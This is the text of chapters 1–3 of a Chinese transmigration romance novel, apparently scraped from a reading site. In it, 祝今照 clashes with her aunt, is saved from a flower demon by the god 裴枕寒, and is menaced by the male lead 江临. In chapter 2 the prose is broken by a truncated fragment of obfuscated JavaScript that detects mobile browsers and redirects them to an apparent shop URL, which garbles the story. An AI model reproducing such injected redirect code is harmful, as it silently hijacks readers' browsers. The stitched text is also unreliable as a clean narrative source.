《帝君他道心失守》 1. 祝氏 七月初,黄梅天刚走。 扬州城阴雨连绵一月有余,总算见了蓝天白云。空气里的闷热散了,清清亮亮的。 崇仁坊青砖黛瓦之间,忽然一道震响: “祝今照——!!” 院子里群鸡咯咯乱叫,扇着翅膀四散开去。两个仆妇赶过来,一人抱一只走远了。几个小厮侧目,攥着扫把,脚步悄悄往外挪。 徐夫人手里还握着锅铲,柳眉倒竖,气得脑袋冒烟。她大踏步逼近祝今照房门,吼道: “我灶上那碗蟹粉狮子头呢?还有那笼三丁包子呢!” 祝今照扒着门框往外瞧。水杏眼眨得无辜:“狮子头?包子?三婶还做了这些?怎么没跟我说呀……” 说着,手里已捧着一只热腾腾的白面包子,一口咬下一半。肉丁、笋丁、鸡丁混在一处,满满油脂香,嚼起来又脆又鲜。好吃。 徐夫人眼都直了,脑门上那团火气,噗地往两边窜: “小蹄子!那是给泽哥儿做的!泽哥儿都没吃上!你个小贱蹄子,嘴比爷们儿还金贵?” 举着锅铲就冲过来。 祝今照先端起桌上的桂花圆子汤,咕咚咕咚灌了两口。然后抱起笼子,倏地从徐夫人胁下钻出去,满院子乱跑。 一面跑一面往嘴里塞包子,一面对着墙外嚷嚷: “救命——打小孩了!三婶要打我!二婶!二叔!二婶你在吗!” 狼狈是狼狈,但祝今照心情很好。 如果不偷吃,她早饭便只有硬面窝窝头可啃,顶多值一文钱;而此时,三丁包子加狮子头加桂花圆子,搁外面少说一钱银子,也就是一百文。 一百减一,得九十九。 她就吃了顿早饭,凭空赚了九十九文钱。好耶! 说来惭愧。祝今照穿书一个月,这套吃早饭的流程,已练得十分熟稔。 一个月前,她还是个贫穷的当代女大学生。下个学期的学费还没着落,正蹲在夜市摆摊卖袜子。 那一夜,她点进一本男频爽文——《千古龙尊》,发现里头有个女配,和她同名同姓。 怀着对同名穿书定理的敬畏,她通宵读之。 读完之后两眼一黑——果然就穿进来了! 这本小说是玄幻低魔的世界。朝廷管着道观,观里的修士能降妖捉鬼,但真正掌权的,还是朝中皇帝。 男主江临,日后会借着妖物的财力、鬼物的战力,一路杀进长安城,坐上龙椅,改朝换代。 原主是这本小说的恶毒女配。 具体她是怎么恶毒的,祝今照现在疲于回忆。 总之,她最后将被男主江临囚在寝宫里,折磨至死。 算算时间线,江临如今已在朝中做大官。而原主还是个小老百姓,窝在小破宅子里吃窝窝头。 祝今照思来想去,觉得不必太担心。 只要不碰男主,从他故事里消失,安安心心赚钱,活着,当NPC……应该就不会有事吧。 不过,即使不碰江临,如上所示,她的日子也并不好过。 原主所在的祝氏一族,本是扬州大族,三代往上,出过朝中大官,做到正四品的御史中丞。但那都是老黄历了。 到原主父亲这一辈,早已没落。 如今正支分三房——原主的父亲、二叔、三叔。族中最大的官是祝二叔,也不过是扬州下辖一个小县尉。 而原主,五岁即父母双亡,同大她七岁的胞兄祝栖迟,一同寄居在三叔家,从此寄人篱下,看人脸色过活。 今年是原主不幸的一年——年初进士放榜,阿兄落榜了。 祝栖迟读书刻苦,天资又聪颖,为何会落榜呢?祝今照也不知道。 但事实如此。 落榜之后,祝栖迟便去了城中书院,应聘教书先生。如今在书院赁了一间陋室,独剩原主一人在家住了。 祝栖迟每月都分一半月俸给原主。但原主仍然深深体会着飘零之悲,整日以泪洗面。直到祝今照穿过来那一天。 “唔——” 祝今照正跑着,额头猛地撞上一堵紧实的胸膛。 手腕一紧,人已被拉到身后。 “贱蹄……” 徐夫人蓦地撞见一个高个子男人,气焰顿时矮了三分。 她放下举着锅铲的手,身子不自然地扭了扭:“哟,一郎来啦。怎么今儿个不用在学院教书?” “劳婶娘挂心。”祝栖迟垂下长睫,含笑和妹妹对视,“今日休沐,特意前来陪朝朝。” “去福禄街看灵符!”祝今照声音脆生生的,眉眼弯弯,“我等不及了。” 徐夫人听祝栖迟提也不提她,心里拱起一股无名火,暗啐一口:“养了头白眼狼。” 她翻了个白眼,声音拔高:“省省罢!你妹妹方才吃独食,把你堂弟的早饭全倒进她自个儿肚子里了。这账怎么算?” 祝栖迟一听就知道怎么回事。但他不想撕破脸。撕破了,朝朝往后的日子更不好过。 他伸手摸腰间革囊:“婶娘这顿早饭值多少?我替朝朝付。” “凭什么!”祝今照震惊,按住祝栖迟手腕,“你一个月累死累活才挣三两银子!光是赁屋就要花掉两成……” 徐夫人瞧着这兄妹俩,脑袋又冒烟了。 祝栖迟自打有了差事,不顾她多次敲打,愣是没往家里寄过一分钱。银子全给了这小贱人——一个迟早要嫁出去的外姓人!糊涂脑子,拎不清谁是自己人。 也就他们爹娘留的遗产够用,不然,她可不给别人养孩子! 她柳眉倒竖,冷笑:“显摆什么?会挣钱了,觉得自己很了不起?我缺你那点儿?你三叔挣的,比你多十倍!” “那婶娘要……” “你们俩给我去灶房,好好给泽哥儿做一顿早饭。要一模一样的!” 这是羞辱。 祝栖迟低头沉默。 他挽起圆领袍的窄袖:“朝朝不会做饭,我来……” 话没说完,祝今照一把将他拨到一边。 她看着徐夫人,小脸绷得正经,语重心长道: “不是不做,而是缓做、慢做,有次序、有计划、有调节地做,从高数量做,到高质量做,你先做,带动我后做,最终实现共同做饭。” 说完,趁徐夫人发懵的空当儿,拉着祝栖迟扬长而去。 ** 一路跑出巷口,祝今照才停下来。一面弯腰喘气,一面咯咯直笑。 祝栖迟被她感染,眉眼间也带了笑,但还是摇了摇头:“朝朝,你这样忤逆她,日后会被欺负的。” 祝今照笑得直拍胸口,仰起脸,水杏眼亮晶晶:“不对,阿兄!我要是老老实实给她欺负,那才会被欺负呢。” 祝栖迟没再说什么。领着她出了崇仁坊门,往西市官河旁的福禄街去。 “朝朝,”祝栖迟皱眉,“你今日为何非要去福禄街?那里最近不太平。快到中元节了,阴气渐盛,官河两岸有妖物出没。该小心为是。” 祝今照蹦蹦跳跳地走着:“去看灵符啊!最近买灵符的人多,数那道街生意好,我去瞧瞧门道。” 福禄街是一条专做玄门生意的街巷。 街两边全是算卦看相的铺子,门口摆的,也是八卦罗盘、法器阵图、各色符箓这些特色商品。街上人来人往,确实红火。 祝今照一面走,一面和两边的摊主随便唠唠。这个问问价钱,那个摸摸符纸,嘴就没停过。 祝栖迟在旁边默默跟着,感慨自家妹妹落了一回水,敢情是想透了什么哲理,性情变化如此之大。从前从不跟人说话,如今见人就说话。 走了几步,祝今照抬眼,忽瞧见前头排了老长的队。队伍折了好几折,弯弯绕绕,瞧不见头在哪儿。 祝今照拽了个面善的胖妇人,笑得甜甜的: “娘子!您这是排的什么队呀?” 妇人声音利索,嗓门不小:“就是北斗宫的灵符呀!这家可是正品店,卖的符,都是观里的道长亲自开过光的!其它店的都不灵!” 祝今照眨了眨眼:“北斗宫?” 妇人啧了一声:“你个小娘子!瞧你也年纪轻轻的,怎么这个都不知道哩?就是主祀北斗真君的北斗宫哇!那可是三界第一美人,人间三千宫观,就属他的塑像最漂亮!诸天仙神没一个比得过的!” “美人?那是女子么?” 妇人满脸问号:“怎么会是女子呢?是裴郎啊!裴枕寒!裴真君!” 祝今照挠了挠脖子,觉得自己像个土鳖。 她不是颜控,总觉得光凭长得漂亮,没道理这么多人追捧吧? 她又问:“这个很有用么?不能买别的宫观里的灵符么?” 妇人急了:“原来你信别家的神!那你来我们家看什么看?自己家的神懒,不显灵,没功绩,没实力,也不好看……就跑来别人家偷么?” “我跟你讲,就算你们把我家真君的功绩偷去,写在你家法箓上到处宣传,那也没用!我们家真君的信誉可是两千年如一日,一步一个脚印攒下来的!……” 祝今照自行过滤掉妇人骂人的语气,抓住重点信息。 意思就是这个叫裴枕寒的真君,两千年来,一直兢兢业业。认真看信徒的祈愿,认真回应,积极主动地斩妖除祟,惩恶扬善,维护人间和平。再加上他本人长得好看。所以有这么多信徒。 祝栖迟含笑道:“在想什么?” 祝今照道:“想那位裴真君。” 祝栖迟微微颔首,语声温和:“世间之人熙熙攘攘,皆为逐利。这位神君能坚守道心,匡扶正道,引世风向善,确实当得上一位好神官。” 祝今照对那些伟光正事迹没什么概念。她摩挲下巴: “我只觉得,这位真君能带动起这么多百姓消费,引领一个行业,让更多人赚到银子,确实是一个不错的品牌代言人。” 祝栖迟听得云里雾里,弯眼挤出一个勉强的笑:“朝朝又在说奇怪的话了。” 正说着,满街喧嚷的人声忽然落了下去。 自由散落在街上的行人,忽然齐刷刷向两边分开。 开出的通道尽头,显出一位贵妇人。 发髻高高梳起,簪着一朵碗口大的牡丹。彩帛飘飘,粉艳的襦裙曳在地面,拖出一路细碎的声响。 她悠悠向前走来,慢声开口,声音带着隐隐的回音: “北斗宫,不过是个欺世盗名的妖观。近来砸了他们几家店了,竟还敢出来蹦哒。” “那本娘子便清清楚楚告诉诸位。谁还敢再卖北斗宫的灵符,便是公然与我牡丹娘子为敌。” 有人失声喊道: “是近来在鬼市风生水起的牡丹娘子!” “吃了好几家店,玩死好几个人类商贾的那个!” “玄门都在通缉呢!” 那贵妇忽然飞身而起,一头扎进人堆里。 人群炸了锅,惊叫着往后退。 祝栖迟牢牢攥着祝今照的手腕,拽着她直往前跑。步子又急又大,要将她像风筝一样拖起来了。 祝今照心里头却好奇,忍不住扭着脖子往回看。 牡丹娘子身形落定,正落在那北斗宫符箓铺子前。 摊主是个年轻娘子,面容清丽,此刻却白得像张纸。 她盯着牡丹娘子那张白得不正常的面容,眼睛睁得溜圆,僵在原地。 牡丹娘子身子往前探了探,几乎贴到她脸上:“你胆子很大啊。” 摊主吓得直挺挺坐在台阶上:“我……我……” 牡 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上身是凤仙花红的半臂,下身不是襦裙,却是一条墨绿色撒花束脚裤。双髻上红绳飘扬,跑起来一甩一甩的。 花花绿绿,像一团卷过来的花野。 裴枕寒长睫轻垂,收回正欲捏诀的手。 祝今照冲到摊主跟前,一把将她从符纸堆里拔出来。 她仰脸看牡丹娘子,声音脆生生: “人家做点小本买卖,赚个糊口钱,碍着你什么事儿了?何必断人财路?你也是生意人,别人这般羞辱你,掀了你饭碗,不准你做营生,你好受么?” “哟——”牡丹娘子嗤笑,眼角斜挑,“来了个找死的。” 祝今照趁她笑的空当,飞快蹲下身,双手在地上摸索。 符纸散了一地,她不管不顾,通通拾起来,攥在手里。 “啊——!” 她大叫一声,给自己壮胆,闭着眼,双手猛挥,疯狂将符纸往牡丹娘子身上扔。 摊主颤抖的声音在耳畔响起:“那个……小娘子……” 祝今照头也不回:“别说话!和我一起扔啊——!” 摊主声音更弱了,带了哭腔:“小娘子……方向好像有点偏了……你都扔在我脸上了。” 祝今照:? 她睁开眼。 摊主面上符纸刚好被吹散,只留下一缕淡淡的小风。摊主眨眨眼,一脸无辜。 祝今照慢慢仰起脸,正对上牡丹娘子微笑的面容。 那笑居高临下,像在看一只蹦哒的蚂蚱。 祝今照尴尬地笑了笑。 转脸推摊主:“跑啊!!” 墙角的裴枕寒:…… 摊主被推得一个踉跄,往前冲了几丈远,提裙飞跑,鞋都差点掉了。 祝今照起身也欲逃,眼前却忽地一暗。 一条手腕粗的碧藤横在面前,挡住了去路。 那牡丹娘子的一条手臂,竟化作了一道碧藤。 藤身青翠,上面生着手指长的利刺,一根根倒竖,返着日光。 “朝朝——!” 祝栖迟终于挤出人群,飞奔过来。 他跑得飞快,不过数息,便冲到祝今照身前,弯腰将她整个人护进怀里。 千百利刺呼啸而下,就要扎入祝栖迟瘦弱的脊背。 祝今照被捂在怀里,双目圆睁,拼命挣扎:“阿兄!” 裴枕寒足尖轻点。 身形如一阵轻风掠出,衣袍翻卷。一手轻轻推开祝栖迟,一手揽住祝今照的腰肢,将她带离地面,悬在半空。 碧藤疯狂生长,像一道碧色河流,蓦地从他靴底掠了过去。 袖袂翻飞间,他指诀连变,手势又快又轻,像在拨弄无形的琴弦。 掌心轻推。 一道金色灵符落下,巨网一般盖住牡丹娘子,瞬间将其按倒在地。 她身子砸在摊位上,轰的一声,木架碎裂。身上碧藤因惯性窜上天空,张牙舞爪,像巨木倒悬。 随即,藤身寸寸碎裂,化作齑粉,风一吹,无影无踪。 尘埃散尽处,众人只见那花妖被按在地上,藤蔓残肢还在抽搐扭动。 祝今照惊魂未定,双手缩在胸前,指尖微微发凉。 她转过脸。 对上一张极好看的玉容。 清冽干净。她脑海忽然冒出乌云拨开时,夜空中的皎皎明月。 裴枕寒脊背端直,长睫低低垂着,目不斜视,仿佛怀中并无他人。 忽感受到旁边之人久久的目光。 落在他脸上,不闪不避,看得认真。 他忽然想起方才这小娘子花花绿绿跑过去的身影——凤仙花红的半臂,墨绿色的束脚裤,双髻上红绳飘扬,像一团卷过街巷的花野。 心头微动。 他回望过去。 正对上一对灿烂生辉的珍珠耳珰,阳光下光彩夺目,映着她白皙的俏脸。 那双水杏眼亮亮的,比银河里的水,鲜活百倍。 这小娘子,容貌打扮,像太阳。 他忽然意识到什么,心头一惊。 连忙垂下眼。 但已来不及了。 灵海深处,冰冷的机械音响起: 【检测到神君直视女子超过三息。】 【男德,-5。】 【当前总分:-4/100(负)。雷鞭7日,立即执行。】 【备注:请神君谨守男德,勿无端勾引陌生女子。】 【即将执行雷鞭惩罚。】 2. 江临 裴枕寒凤眸轻轻眨了眨,指尖微蜷,似有些无措。 亮蓝色的雷电破空而下,精准劈入他的脊背。 皮肉当即开裂。一道血口从左肩直延伸至腰身右侧,红痕洇出洁白的衣袍。 裴枕寒闷哼一声,手臂脱了力,从半空直直坠下去。 祝今照看不见那雷鞭,只看到揽她的人不管不顾往下落,留她一人悬在半空。 “不是,少侠你……” “啊——!!” 她跟着坠了下去,身子在半空划出一道残影。 蓦地沉入一个镇定的怀抱。 腰身和膝弯被托住,力道像坚固的冰柱,冷静而果决。 祝今照松了口气,睁开紧闭的双眼:“阿兄……” 话音蓦地断了。 她水杏眼睁得圆滚滚,瞳孔里映出一张森冷的面容。 男人没有表情,眼眸半阖,居高临下看着她。 他穿一身葡萄深紫的圆领袍,面料柔软光滑,上头印着雍容繁复的如意暗纹,是上好的织锦。长发束在头顶,发冠泛着沉甸甸的银光。 不是阿兄。 “你抖什么?” 男人开口,声音低沉冰冷,像从冰窖里滚出来的,听着就往外冒寒气。 祝今照才意识到,自己身子已经抖如筛糠了。 手指在抖,肩膀在抖,连牙关都在轻轻打颤。 天地良心,不是她在抖,是这具身体本能的反应。 看男人这不把自己当外人的口吻……这个人,和原主有旧? 祝今照搜寻原主的记忆,没搜到这张脸。 有一些画面,但模模糊糊,像被什么遮住了。 原主选择性遗忘了一些东西。 那是创伤后的遗忘行为。 祝今照清了清嗓子,平复心情。 她抬起脸,用同样熟人似的语气开口:“我阿兄呢?” 她真的只是担心祝栖迟。 但由于原主身体的反应,声音出口,却娇弱得像被雨打过的花。混着三分畏惧,三分惊惶,再加上七分依恋,组成十分的痴态。 男人将她的神情尽收眼底。 乌黑的眸子里闪过一道光,玩味的,像在瞧一只不论被他如何折磨,都离不开他的雀儿。他眼角微弯,弯出一抹笑,带着鄙薄,带着病态。 祝今照被他这个病态的表情给整不会了。双颊一热,尴尬得发烫。 老天鹅啊,这男的没病吧……像变态。原主这交的什么朋友。 男人抬眼,似笑非笑看向不远处,淡声开口:“谨之兄,十三娘担心你呢。” 祝今照扭着脖颈瞧过去,瞳孔猛地一缩。 不远处,祝栖迟被两个粗壮官兵押着双臂,跪在地上。嘴里塞着棉布,腮帮子鼓鼓的。身后还站着一名官兵,膝盖抵着他瘦弱的脊背。他挣扎得厉害,脊背一伏一伏的。 他的身后,一众官兵举着长矛,排成一排,拦着七嘴八舌的百姓。 旁边,几个白衣飘飘的修士赶到了,正围着那只重伤的花妖,布阵收妖。符纸翻飞,念念有词。 所有人都站着,独他一人,以那样屈辱的姿势跪着。 祝今照眼圈倏地烫了。 她蹬着双腿拼命挣扎:“阿兄!啊——” 男人毫无预兆地松了手。祝今照摔在青石板上,脊背砸在硬邦邦的石面,闷响一声,疼得她龇了牙。 祝栖迟猛地挣脱束缚,一把扯了口中棉布,跑上前来扶她。 那几个官兵跟着跑过来,男人抬了抬手,便纷纷退下了,动作干脆利落。 祝今照仰脸瞧见这一幕,瞪着那男人,深吸了一口气。 小脸绷得死紧,站起来,转着圈检查祝栖迟,手在他胳膊、肩膀、后背来回摸:“有没有伤着哪儿?” 男人盯着祝今照忙前忙后的手,慢悠悠开口:“十三娘何时学会关心兄长了?” 语气不咸不淡,像在说一件有趣的事。 祝今照昂着头上前,张口便要骂:“你这种人……” 声音刚蹦出来,便被祝栖迟死死捂住了嘴,一把将她往身后拽。 祝栖迟挡在祝今照身前,对男人叉手俯身,脊背弯下去: “江使君在上,祝氏一族虽家道中落,但先祖在朝中盛名尤在。还望使君念及初受节樾,根基未稳,权且放过舍妹,勿损使君官威。” “江……?”祝今照躲在祝栖迟身后,喃喃自语,眸光转了转,“等等,他、他是……不会是我想的那个人罢?” 男人单手扶在腰间配剑上,指尖搭着剑柄,垂眸看祝栖迟俯身,气定神闲。 “谨之兄何必如此。”他声音不紧不慢,“江某何时说过,要拿十三娘怎么样了?” 说着,抬手似要扶祝栖迟。 指尖伸过去,目光忽又落在祝栖迟袖口和领口。粗硬布料的衣袍,已洗得发白了,边角起了毛。 他不想扶了。 手心轻轻拍了拍,掸掉不存在的灰尘,收回。从容得很。 “方才不过和谨之兄开个玩笑。”他唇角微微一弯,“谨之兄,不会怪我罢?” 祝栖迟身子俯得更低了:“草民不敢。” “起来罢。” 祝栖迟称谢,直起身。 祝今照从祝栖迟身后探出头,恰与男人四目相对。 男人道:“十三娘怎的和我生分了?连叫人也不叫了。若只因江某做了节度使,便怕了我,那江某真是深以为憾。” 祝今照不说话。 男人唇角勾了勾,似笑非笑:“叫声江临哥哥来听听。” 祝今照觉得天塌了。 当真是他! 早该想到的。难怪他要折辱阿兄,阿兄又那么怕他。 她脑子飞快转起来。 江临年少之时,曾是原主捡来养在家的奴仆。原主喜欢他,但性子别扭,反而打骂他最狠。每次受委屈了,都将火发泄在他身上,当街奴才长、奴才短地羞辱他。 他折辱阿兄,就是在报复原主。 可是——江临为何这么快就做淮南节度使了?! 大虞立朝至今,朝廷权势式微。节度使之职,在所辖藩镇之内,权势滔天,连圣旨都能扣下。不是什么小官能当的。 按照原著时间线,江临此时应当还在长安,博取权宦的信任。拿下靠山,才有资格出任如此封疆大吏。 可如今,事件提前了三年! 他办事效率凭空翻倍了? 祝栖迟见妹妹呆呆的不说话,忙又行了一礼,腰肢折得比方才还低: “舍妹草野之人,愚钝木讷,不善言辞,还望使君见谅。” 江临极轻地嗤了一声。 “愚钝木讷。” 他重复了一遍,垂着头,声音低低的,像在咀嚼这四个字的滋味。 祝今照注意到他语气里那丝讥讽,心中咯噔一声。 为何他要这样讥讽? 难道…… 她想起原著——原主因对江临爱得疯癫,因爱生恨,投靠他政敌,害他险些丧命。 难道江临是重生的?已经经历过这些了? 祝今照摩挲下巴。 不会吧?怎么可能这么狗血?缠绵悱恻的爱情故事,尽在晋江文学城?得了吧,这又不是晋江的小说。 排除了这点,她微微松了口气。 定了定神,从祝栖迟身后挪出来。 身子故意抖着,紧紧贴着祝栖迟的胳膊,仰起脸,怯生生看江临。 开口时,声音是原主那雨打梨花的调子,又软又颤: “江使君,从前种种都是十三娘不好,你若是有气,能不能撒在我身上?莫要找阿兄的麻烦。” “朝朝!”祝栖迟低斥一声,急拽她衣袖,“这事轮不到你来管,退回去!” 祝今照仰头看了他一眼,没理。又转回去,继续眨巴那双水杏眼,巴巴望着江临。 借一下原主这楚楚可怜的躯体反应,示个弱,应当就没事了。 原著里的江临,没有主动计划报复过他们。只是遇上了,才顺手折辱一番,让兄妹俩虚惊一场罢了。 江临声音轻快:“十三娘这是哪里话。江某能有今日,”他嗓音忽地压低,一字一顿,“皆要感谢十三娘的收留啊。” 他勾了勾唇,眼角弯出一个锋利的弧度: “如今江某新官上任,十三娘身为旧友,”他弯腰凑近,鼻息几乎扑在祝今照的面颊,“打算送我什么礼物,恭贺恭贺?” 祝今照肩头紧绷,身子微微后仰。面颊被他灼热气息打得泛红,像被火苗舔了一下。 眸子转来转去。 他咋了? 这是在干嘛? 当街乞讨? 他发迹了,找她要什么礼物? 财富不应该从高浓度的地方流向低浓度的地方么? 现在该他给她礼物才对。 祝栖迟上前一步:“江使君……” “本官问你话了么?”江临转眸看去,淡声打断,眼皮都没抬一下。 祝栖迟脚步顿住。 修眉紧锁,看向祝今照,担忧得眼尾泛红。 祝今照脑中飞转。 江临想要什么?送什么他会满意? 钱财? 他是务实的人,不会无聊到从穷人手里敲银子罢? 对了。 原著有一回——江临那时失意,遇到兄妹俩,领着一帮人将祝栖迟撂在地上,拳打脚踢。 那时候,原主奉上一样东西给他,说了一番话,江临便心软放了他们。 祝今照连忙摸腰间荷包。她觉得那东西好看又实用,便一直带在身上。 翻出一枚巴掌大小的囊袋,上面绣着暮春落英的图样,针脚细密,清丽美好。 就是这个。 可以说台词了。 “当然有!”祝今照突然拔高声音,脆生生炸开。 她握着囊袋,水杏眼眨巴眨巴,眼泪说来就来。声音哽咽,一字一泣: “这是十三娘一针一线,亲手绣的香帕。三年前,江使君不告而别,自那以后,十三娘接连几个通宵绣了它,从此日日夜夜,无时无刻不带着,从未离身。” 仰脸望着远方: “如今,它总算见着它的主人了。可它的主人,如今已是那天上最尊贵的明月;而它,穷愁潦倒,狼狈不堪……” 突然转身,双手捧着绣囊奉上: “十三娘不敢奢求使君笑纳,只求您收下它。哪怕是做个摆弄的玩意儿,哪怕、哪怕是做擦拭秽物的下等物件……也好成全它一片拳拳心意。” 祝栖迟盯着那绣囊,向后跌了半步。 朝朝啊……这个人可不是你该喜欢的。 江临低低笑了两声,笑声从喉咙里滚出来,闷闷的。 他单手捡起那绣囊,轻轻巧巧在鼻端拂了拂,像在嗅一朵花。目光却越过绣囊,落在祝栖迟脸上,轻飘飘开口: “谨之兄如此将妹妹护在怀里,可知你越将人捂得严实,那人心思反倒飘得越远?” 他勾唇,做出仅二人可见的口型:“她的心,早飞到我这里啦。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500512|202707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 祝今照兀自回味她适才的完美表演,没看见二人之间的暗流。回味完,转头瞧阿兄。 正见祝栖迟垂着头,眉头紧锁,眸子焦躁地左右颤动,双唇抿成一条线。 她眨眨眼,不明白自己说错什么了。阿兄这是什么反应? 那段话文绉绉的,是什么意思,其实她也不太懂。原著就那么写的,她就那么说了。 江临道:“此物,我收下了。为表感谢,送十三娘一份回礼,如何?” 祝今照微微一怔。 什么回礼?原著这段没回礼啊。 江临抬手摸向腰间革带处,指尖一勾,拽下一块玉佩。渐变的铜绿色,雕着祥云瑞兽,玉质滑腻,上好的色泽。 祝今照瞳孔一缩。 竟是此物! 原著里,原主就是拣到了这东西,拿去找的江临。 结果被他粗暴按在浴桶上,好生折辱了一夜。第二天,原主被收作通房。 原主满心欢喜,从此日日想着做江临最爱的女人。 但后面江临又有了很多红颜。原主醋疯了,才干出和江临作对的事。 江临道:“这玉佩,我府中人皆认得,十三娘若想找我,带着这玉,随时能进我府里——” 他忽然弯下腰来,贴近祝今照耳畔,气息拂过她耳廓,“便是进我卧房,也没人敢拦你。” “江临!”祝栖迟厉声喝道。 侧旁几个官兵当即上前,粗暴地推他。祝栖迟闷哼一声,膝盖砸在地上。铮铮几声,颈侧架上明晃晃的刀刃。 “阿兄!”祝今照上前推官兵,柔嫩的手掌拍在那些粗硬的手臂上,“你们干什么,干什么!” 江临直起身,垂眸懒洋洋看着。 祝今照把手放在祝栖迟颈侧,替他挡着刀刃。 仰脸,目光像刀子一样打向江临:“你放开他!你这个……” 江临剑眉挑了挑,若无其事看着她。 祝今照气势一寸寸矮下去,讪笑:“求你了?” 江临嗤笑了一声。 抬了抬手。官兵收了刀,齐刷刷退后几步,靴声整齐。 “阿兄。”祝今照连忙弯腰去扶。 祝栖迟却猛地往前一扑,动作激烈,直将祝今照撞在一旁,踉跄了两步才站稳。 他朝着江临的黑靴爬过去,衣袍扫着地面灰尘,沙沙作响。白皙修长的手按在青石板上,指节染上脏污。 一个掌权的男人,送给未出阁的女子一件信物,一件随时可入卧房的信物。 那是什么意思? 那女子,爱他爱到甘愿做“下等物件”。她拿到这信物,会怎么做? 他不敢再想了。 他跪在江临靴边,仰起脸,眸中闪着泪光:“江使君,朝朝她还小,她还没有及笄,求您……求您念在……念在……” 他抓着江临的衣摆,声音哽咽沙哑,翻来覆去只是几个无意义的词,不成句子。 他不知道该怎么办,他手里没有任何筹码。 拒马桩外的百姓,目光纷纷从花妖处转向这边。 众人对着祝栖迟指指点点。有认识的人,在跟周围人交头接耳,说着这是谁、哪家的、遇着什么事儿了。声音嗡嗡的。 祝今照孤零零站在原地,看看那些人,又看看兄长,怔怔的。 江临表情动也没动。低头看了祝栖迟片刻,像在看一件碍事的物什。 末了,弯下腰,伸手去扶:“谨之兄……” 连唤了几声,才喊住祝栖迟的求饶。 “万万不可。百姓都看着呢,谨之兄将江某置于何地?”声音放得温和,通情达理得很,“快起来。” 他将祝栖迟拽起来,怕了怕他肩头,像在安抚一个不懂事的孩子。 “我又没强迫十三娘做什么,不过是赠佳人一块玉佩,回个礼而已。谨之兄这是何意?” 他将玉佩掂在手里,铜绿色的光在指尖流转。 “这礼收不收,谨之兄说了可不算。当然,我说了也不算。”他笑了笑,目光转向祝今照,“全看十三娘的意思啊。” 他对祝今照招手,笑意盈盈,声音轻快:“十三娘,快,收下江临哥哥的礼物。别叫你阿兄太担心了。” 祝今照走过去,红着眼圈,伸手扶住祝栖迟的胳膊。 江临勾了勾唇,手臂向下放,将玉佩递至她跟前。 目光落下来,在她身上慢慢游走。从泛着红晕的面庞,到细嫩的脖颈,再到嫩红的指尖……像在打量一件还算顺眼的物件。 祝家十三娘,如花似玉,满腹诗书。那一双含情美目,哪个男人见了,不会酥去半边身子。 可谁又知道,这不过是个离了他便会发疯的贱货。 即便身在敌营,随手送碗羹汤,她便要对他感激涕零,拱手将情报送来。 贱。 贱得让他鄙视,又想揣在手里,看她还能贱到什么程度。 为了他,什么低三下四的招数都使得出来。如今凭空得了他的玉佩,想来恨不得将自己剥干净,拱手奉上了。 祝栖迟眼尾通红,低头看向妹妹,眸中满是惧怕。 朝朝那么喜欢他。若当真得了这玉佩,怎么可能受得住诱惑,不去找他? “朝朝……”他声音发颤,几乎要跪下去了。 祝今照柔软的手按在他手背上,轻轻握了握。 她仰起脸,看向江临。水杏眼红红的,声音却稳得很: “这礼物太过贵重,十三娘受不起。江使君,还是收回去罢。” 江临笑不出来了。 3. 捡男人 祝今照望着江临僵住的神色,眸子一眨一眨,心里头嗫嚅半晌。 男主怎么不太高兴的样子? 她记得原著里,江临对原主拿了他玉佩的事,可不怎么喜欢呢。 将原主按在浴桶折辱的那夜,可没少借此事羞辱她。什么—— “堂堂祝中丞四代孙,偷盗之事都做得出来。就那么想男人?” “令兄是读书君子,若知你为了见男人一面,不惜偷人东西,不知怎么想?” “听闻祝家十三娘知书达理,有名门之仪,莫非这满腹的诗书,都从下面流走了?” …… 她压下那些不堪的场景。总之,如此看来,她不收玉佩,江临应该欣慰才对吧? 祝今照小心问道:“江使君,有何顾虑么?” “没有啊?”江临剑眉扬了扬,指尖从玉佩上随意划过,挂回腰间。 嘴角又浮起笑意:“十三娘才名远扬,自然比旁的小娘子都矜持自重些,不肯无功受禄,也是理所应当。此事江某早有预料。” 祝今照松了口气。 那就好。瞧阿兄那副模样,她若收了这玉佩,他能当场在她面前碎掉。 祝栖迟似没料到妹妹竟能拒绝,愣了半晌,此时才回过神。 忙对着江临俯身行礼,袖子掠起一阵轻风:“多谢江使君体谅!” 祝今照也忙学祝栖迟叉手:“多谢江使君体谅!” 她动作手忙脚乱,手指绊在一处打架。 江临盯着她笨拙的样子,微微蹙了蹙眉。 此时,一道颀长的身影大步走来,甲胄铿锵,一步一响。那人俯身行礼:“节帅。妖物已降服,身上化出一些金银宝器,请节帅验查。” “嗯。”江临应了一声,目光从祝今照脸上收回。 祝栖迟连忙见机告辞,语声低而急促:“江使君公务繁忙,草民等不宜叨扰,先行告退。” 他攥起祝今照的手腕,转身便往人群外走,力道紧得像怕她被风吹走。 江临盯着祝今照的背影。 她步子迈得恣意,墨绿撒花的波斯裤被风兜起,鼓鼓囊囊,双髻上的红绳甩来甩去,花花绿绿的一团,快活得刺眼。 他目光跟着那团颜色走了几息,忽地开口:“她从前……似乎更爱穿襦裙,戴披帛,衣着柔顺得体,不爱这般张扬。” 指尖在剑柄上轻轻敲了两下。 “魏松,你说,一个人会因为什么,而性情大变?” 身后那道颀长身影微微一怔。 魏松顺着江临目光望过去,了然道:“是那位祝十三娘。” 眉头拧了拧,“听闻她一个月前落水,救回来时,称自己想清楚很多事。自此以后,便活泼了不少。也是怪事一桩。” 说完,又补了一句,“啊,这也是属下听牙兵们酒后随口谈的趣闻,不知是真是假,节帅听着一笑便是。” 江临垂眸听完。 唇角微微一动,声音低沉:“有意思。” 指腹划过剑柄上镶金的兽面,拇指摩挲着兽面的獠牙,一下又一下。 “她那样的人,再如何变,总归本性难移。” 抬起眼,声音淡淡的:“也不过赖她如今诸事顺遂。等哪天落入险地,立时便记起男人的好了。” 指腹停在兽面上。 “……到时候。” 他轻哼了一声。 大步朝花妖处而去。甲胄声在身后响起来,一步一铿锵。 忽地,脚步微顿,“险地?” 他立在原地,蓦地勾唇一笑。 